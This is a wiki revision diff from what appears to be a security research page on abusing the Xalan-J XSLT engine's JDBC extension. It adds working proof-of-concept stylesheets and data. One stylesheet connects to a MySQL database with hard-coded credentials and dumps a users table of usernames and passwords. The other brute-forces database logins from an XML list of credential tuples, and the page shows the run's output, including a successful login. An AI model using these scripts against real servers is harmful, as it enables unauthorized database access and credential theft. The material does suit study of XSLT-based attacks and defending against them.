Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version

edited by Nicolas Gregoire
on 2012/01/12 08:39

Change comment: There is no comment for this version

To version

edited by Nicolas Gregoire
on 2012/01/12 22:14

Change comment: There is no comment for this version

Summary

Page properties

Content

@@ -67,3 +67,23 @@
  == JDBC connectivity ==
  It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
++
++=== Simple connection ===
++
++The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
++
++|=Namespace|=Extension function|=PoC
++|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
++
++=== Credentials brute-forcing ===
++
++The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
++
++
++Here's the output when launched from the CLI :
++
++##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
++Username : [root] / Password : [] :
++Username : [root] / Password : [uberpasswd] :
++Username : [root] / Password : [cnam] : OK !!
++Username : [pma] / Password : [pma] : ##

xalanj-jdbc-bruteforce.xml

Author

...	...	@@ -1,0 +1,1 @@
	1	+xwiki:XWiki.NicolasGregoire

Size

...	...	@@ -1,0 +1,1 @@
	1	+775 bytes

Content

@@ -1,0 +1,35 @@
++<data>
++ <foobar>
++  <DBINFO>
++    <dbdriver>com.mysql.jdbc.Driver</dbdriver>
++    <dburl>jdbc:mysql://localhost/</dburl>
++    <user>root</user>
++    <password></password>
++  </DBINFO>
++ </foobar>
++ <foobar>
++  <DBINFO>
++    <dbdriver>com.mysql.jdbc.Driver</dbdriver>
++    <dburl>jdbc:mysql://localhost/</dburl>
++    <user>root</user>
++    <password>uberpasswd</password>
++  </DBINFO>
++ </foobar>
++ <foobar>
++  <DBINFO>
++    <dbdriver>com.mysql.jdbc.Driver</dbdriver>
++    <dburl>jdbc:mysql://localhost/</dburl>
++    <user>root</user>
++    <password>cnam</password>
++  </DBINFO>
++ </foobar>
++ <foobar>
++  <DBINFO>
++    <dbdriver>com.mysql.jdbc.Driver</dbdriver>
++    <dburl>jdbc:mysql://localhost/</dburl>
++    <user>pma</user>
++    <password>pma</password>
++  </DBINFO>
++ </foobar>
++</data>
++

xalanj-jdbc-bruteforce.xsl

Author

...	...	@@ -1,0 +1,1 @@
	1	+xwiki:XWiki.NicolasGregoire

Size

...	...	@@ -1,0 +1,1 @@
	1	+979 bytes

Content

@@ -1,0 +1,29 @@
++<?xml version="1.0"?>
++
++<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
++                version="1.0"
++                xmlns:sql="org.apache.xalan.lib.sql.XConnection"
++                extension-element-prefixes="sql">
++
++<xsl:output method="text" indent="yes"/>
++<xsl:variable name="query">SELECT "OK !!"</xsl:variable>
++
++<xsl:template match="//data">
++  <xsl:for-each select="foobar">
++
++    <xsl:variable name="cinfo" select="DBINFO"/>
++    <xsl:variable name="user" select="DBINFO/user/text()"/>
++    <xsl:variable name="passwd" select="DBINFO/password/text()"/>
++
++    <xsl:variable name="db" select="sql:new($cinfo)"/>
++    <xsl:variable name="data" select='sql:query($db, $query)'/>
++
++    <xsl:copy-of select="concat('Username : [', $user, '] / ')" />
++    <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" />
++    <xsl:copy-of select="$data" /><xsl:copy-of select="'&#x0A;'" />
++
++  </xsl:for-each>
++</xsl:template>
++
++</xsl:stylesheet>
++

xalanj-jdbc-query.xsl

Author

...	...	@@ -1,0 +1,1 @@
	1	+xwiki:XWiki.NicolasGregoire

Size

...	...	@@ -1,0 +1,1 @@
	1	+848 bytes

Content

@@ -1,0 +1,22 @@
++<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
++                xmlns:sql="org.apache.xalan.lib.sql.XConnection"
++                extension-element-prefixes="sql"
++                version="1.0">
++
++<xsl:output method="xml" indent="yes"/>
++
++<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
++<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
++<xsl:param name="user" select="'root'"/>
++<xsl:param name="pass" select="'14m31337'"/>
++<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
++
++<xsl:template match="/">
++    <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
++    <xsl:variable name="table" select='sql:query($dbh, $query)'/>
++    <xsl:copy-of select="$table" />
++    <xsl:value-of select="sql:close($db)"/>
++</xsl:template>
++
++</xsl:stylesheet>
++